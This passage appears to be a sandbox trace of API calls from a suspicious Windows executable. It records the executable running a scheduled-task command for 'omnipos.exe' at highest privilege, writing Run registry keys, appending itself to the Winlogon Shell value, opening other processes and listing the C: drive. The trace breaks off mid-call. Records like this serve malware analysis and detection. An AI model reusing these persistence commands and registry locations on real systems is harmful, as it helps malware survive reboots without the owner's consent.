pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 13 /tr \"'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0115.537] IWbemClassObject:Get (in: This=0x1b469f40, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2695018*=0, plFlavor=0x269501c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2695018*=13, plFlavor=0x269501c*=32) returned 0x0 [0115.537] IWbemClassObject:Get (in: This=0x1b469f40, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2695018*=13, plFlavor=0x269501c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2695018*=13, plFlavor=0x269501c*=32) returned 0x0 [0115.538] IUnknown:QueryInterface (in: This=0x1b4da240, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4da240) returned 0x0 [0115.538] IUnknown:QueryInterface (in: This=0x1b4da240, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0115.538] IUnknown:QueryInterface (in: This=0x1b4da240, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0115.538] IUnknown:QueryInterface (in: This=0x1b4da240, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0115.538] IUnknown:AddRef (This=0x1b4da240) returned 0x3 [0115.538] IUnknown:QueryInterface (in: This=0x1b4da240, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0115.538] IUnknown:QueryInterface (in: This=0x1b4da240, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0115.538] IUnknown:QueryInterface (in: This=0x1b4da240, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4da248) returned 0x0 [0115.538] IMarshal:GetUnmarshalClass (in: This=0x1b4da248, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0115.538] IUnknown:Release (This=0x1b4da248) returned 0x3 [0115.538] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0115.538] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0115.538] IUnknown:QueryInterface (in: This=0x1b4da240, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0115.538] IUnknown:Release (This=0x1b4da240) returned 0x2 [0115.538] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0115.538] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0115.538] IUnknown:QueryInterface (in: This=0x1b4da240, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0115.539] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0115.539] IUnknown:QueryInterface (in: This=0x1b4da240, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0115.539] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0115.539] IUnknown:AddRef (This=0x1b4da240) returned 0x3 [0115.539] IWbemClassObject:Put (This=0x1b469f40, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4da240, varVal2=0x0), Type=0) returned 0x0 [0115.539] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656b70, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0115.539] WbemDefPath:IWbemPath:GetText (in: This=0x656b70, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0115.539] WbemDefPath:IWbemPath:GetText (in: This=0x656b70, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0115.539] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655970, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0115.539] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0115.539] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0115.539] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0115.539] WbemLocator:IUnknown:AddRef (This=0x1b510878) returned 0x3 [0115.539] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510878, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b510878) returned 0x0 [0115.539] WbemLocator:IUnknown:Release (This=0x1b510878) returned 0x3 [0115.539] WbemLocator:IUnknown:Release (This=0x1b510878) returned 0x2 [0115.539] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0115.539] WbemLocator:IUnknown:AddRef (This=0x1b510878) returned 0x3 [0115.539] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510878, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b510878) returned 0x0 [0115.539] WbemLocator:IUnknown:Release (This=0x1b510878) returned 0x3 [0115.540] WbemLocator:IUnknown:Release (This=0x1b510878) returned 0x2 [0115.540] WbemDefPath:IWbemPath:GetText (in: This=0x656b70, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0115.540] WbemDefPath:IWbemPath:GetText (in: This=0x656b70, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0115.540] IWbemServices:ExecMethod (in: This=0x63bd20, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b469f40, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b4ad8d0, ppCallResult=0x0) returned 0x0 [0115.641] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2695328*=0, plFlavor=0x269532c*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x99c, varVal2=0x0), pType=0x2695328*=19, plFlavor=0x269532c*=0) returned 0x0 [0115.641] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2695328*=19, plFlavor=0x269532c*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x99c, varVal2=0x0), pType=0x2695328*=19, plFlavor=0x269532c*=0) returned 0x0 [0115.642] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x3f8) returned 0x0 [0115.642] RegQueryValueExW (in: hKey=0x3f8, lpValueName="omnipos", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x0, lpData=0x0, lpcbData=0x1b30d880*=0x0) returned 0x2 [0115.642] RegSetValueExW (in: hKey=0x3f8, lpValueName="omnipos", Reserved=0x0, dwType=0x1, lpData="\"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\"", cbData=0x9a | out: lpData="\"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\"") returned 0x0 [0115.642] RegCloseKey (hKey=0x3f8) returned 0x0 [0115.642] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x3f8) returned 0x0 [0115.642] RegQueryValueExW (in: hKey=0x3f8, lpValueName="omnipos", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x0, lpData=0x0, lpcbData=0x1b30d880*=0x0) returned 0x2 [0115.642] RegSetValueExW (in: hKey=0x3f8, lpValueName="omnipos", Reserved=0x0, dwType=0x1, lpData="\"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\"", cbData=0x9a | out: lpData="\"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\"") returned 0x0 [0115.643] RegCloseKey (hKey=0x3f8) returned 0x0 [0115.643] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x3f8) returned 0x0 [0115.643] RegQueryValueExW (in: hKey=0x3f8, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d8b8, lpData=0x0, lpcbData=0x1b30d8b0*=0x0 | out: lpType=0x1b30d8b8*=0x1, lpData=0x0, lpcbData=0x1b30d8b0*=0x124) returned 0x0 [0115.643] RegQueryValueExW (in: hKey=0x3f8, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d8b8, lpData=0x2696168, lpcbData=0x1b30d8b0*=0x124 | out: lpType=0x1b30d8b8*=0x1, lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\", \"C:\\Windows\\L2Schemas\\pidgin.exe\"", lpcbData=0x1b30d8b0*=0x124) returned 0x0 [0115.643] RegQueryValueExW (in: hKey=0x3f8, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x1, lpData=0x0, lpcbData=0x1b30d880*=0x124) returned 0x0 [0115.643] RegSetValueExW (in: hKey=0x3f8, lpValueName="Shell", Reserved=0x0, dwType=0x1, lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\", \"C:\\Windows\\L2Schemas\\pidgin.exe\", \"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\"", cbData=0x1c0 | out: lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\", \"C:\\Windows\\L2Schemas\\pidgin.exe\", \"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\"") returned 0x0 [0115.643] RegCloseKey (hKey=0x3f8) returned 0x0 [0115.644] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xda0) returned 0x3f8 [0115.644] GetExitCodeProcess (in: hProcess=0x3f8, lpExitCode=0x25866e4 | out: lpExitCode=0x25866e4*=0x103) returned 1 [0115.644] CoTaskMemAlloc (cb=0x404) returned 0x1b425ad0 [0115.644] QueryFullProcessImageNameA (in: hProcess=0x3f8, dwFlags=0x0, lpExeName=0x1b425ad0, lpdwSize=0x1b30dda8 | out: lpExeName="C:\\Program Files (x86)\\Windows Multimedia Platform\\floor-remain-always.exe", lpdwSize=0x1b30dda8) returned 1 [0115.644] CoTaskMemFree (pv=0x1b425ad0) [0115.647] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xf0c) returned 0x478 [0115.647] GetExitCodeProcess (in: hProcess=0x478, lpExitCode=0x258754c | out: lpExitCode=0x258754c*=0x103) returned 1 [0115.647] CoTaskMemAlloc (cb=0x404) returned 0x1b425ad0 [0115.647] QueryFullProcessImageNameA (in: hProcess=0x478, dwFlags=0x0, lpExeName=0x1b425ad0, lpdwSize=0x1b30dda8 | out: lpExeName="C:\\Program Files\\Common Files\\operamail.exe", lpdwSize=0x1b30dda8) returned 1 [0115.648] CoTaskMemFree (pv=0x1b425ad0) [0115.651] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x1040) returned 0x498 [0115.651] GetExitCodeProcess (in: hProcess=0x498, lpExitCode=0x2589f3c | out: lpExitCode=0x2589f3c*=0x103) returned 1 [0115.651] CoTaskMemAlloc (cb=0x404) returned 0x1b425ad0 [0115.651] QueryFullProcessImageNameA (in: hProcess=0x498, dwFlags=0x0, lpExeName=0x1b425ad0, lpdwSize=0x1b30dda8 | out: lpExeName="C:\\Program Files\\Microsoft Office\\utg2.exe", lpdwSize=0x1b30dda8) returned 1 [0115.651] CoTaskMemFree (pv=0x1b425ad0) [0115.656] CoTaskMemAlloc (cb=0x20c) returned 0x1b4b5000 [0115.656] GetSystemDirectoryW (in: lpBuffer=0x1b4b5000, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0115.657] CoTaskMemFree (pv=0x1b4b5000) [0115.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0115.657] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0115.657] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1b48f850 [0115.657] FindNextFileW (in: hFindFile=0x1b48f850, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7898476d, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0115.657] FindNextFileW (in: hFindFile=0x1b48f850, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x61b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0115.658] FindNextFileW (in: hFindFile=0x1b48f850, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0115.658] FindNextFileW (in: hFindFile=0x1b48f850, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x78d17e5a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78d17e5a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78d17e5a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0115.658] FindNextFileW (in: hFindFile=0x1b48f850, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa1317bed, ftCreationTime.dwHighDateTime=0x1d99cf2, ftLastAccessTime.dwLowDateTime=0xf974ba53, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xf974ba53, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0115.658] FindNextFileW (in: hFindFile=0x1b48f850, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0115.658] FindNextFileW (in: hFindFile=0x1b48f850, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x551dbbfd, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x551dbbfd, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x248b69a0, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0115.659] FindNextFileW (in: hFindFile=0x1b48f850, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0x4cb5cae1, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4cba8e1e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4cba8e1e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0115.659] FindNextFileW (in: hFindFile=0x1b48f850, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x85890a37, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x85890a37, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2555deab, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x48000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0115.659] FindNextFileW (in: hFindFile=0x1b48f850, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0115.659] FindNextFileW (in: hFindFile=0x1b48f850, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3c6700c, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x3c6700c, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0115.659] FindNextFileW (in: hFindFile=0x1b48f850, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xb62d6190, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb62d6190, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0115.660] FindNextFileW (in: hFindFile=0x1b48f850, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0115.660] FindNextFileW (in: hFindFile=0x1b48f850, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbaa998b0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbadba904, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbadba904, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0115.660] FindNextFileW (in: hFindFile=0x1b48f850, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x858b6c65, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x858b6c65, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x25588045, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0115.660] FindNextFileW (in: hFindFile=0x1b48f850, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x85289733, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x2dbfc137, ftLastAccessTime.dwHighDateTime=0x1d70505, ftLastWriteTime.dwLowDateTime=0x2dbfc137, ftLastWriteTime.dwHighDateTime=0x1d70505, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0115.660] FindNextFileW (in: hFindFile=0x1b48f850, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0115.661] FindNextFileW (in: hFindFile=0x1b48f850, lpFindFileData=0x1b30d760 | out: 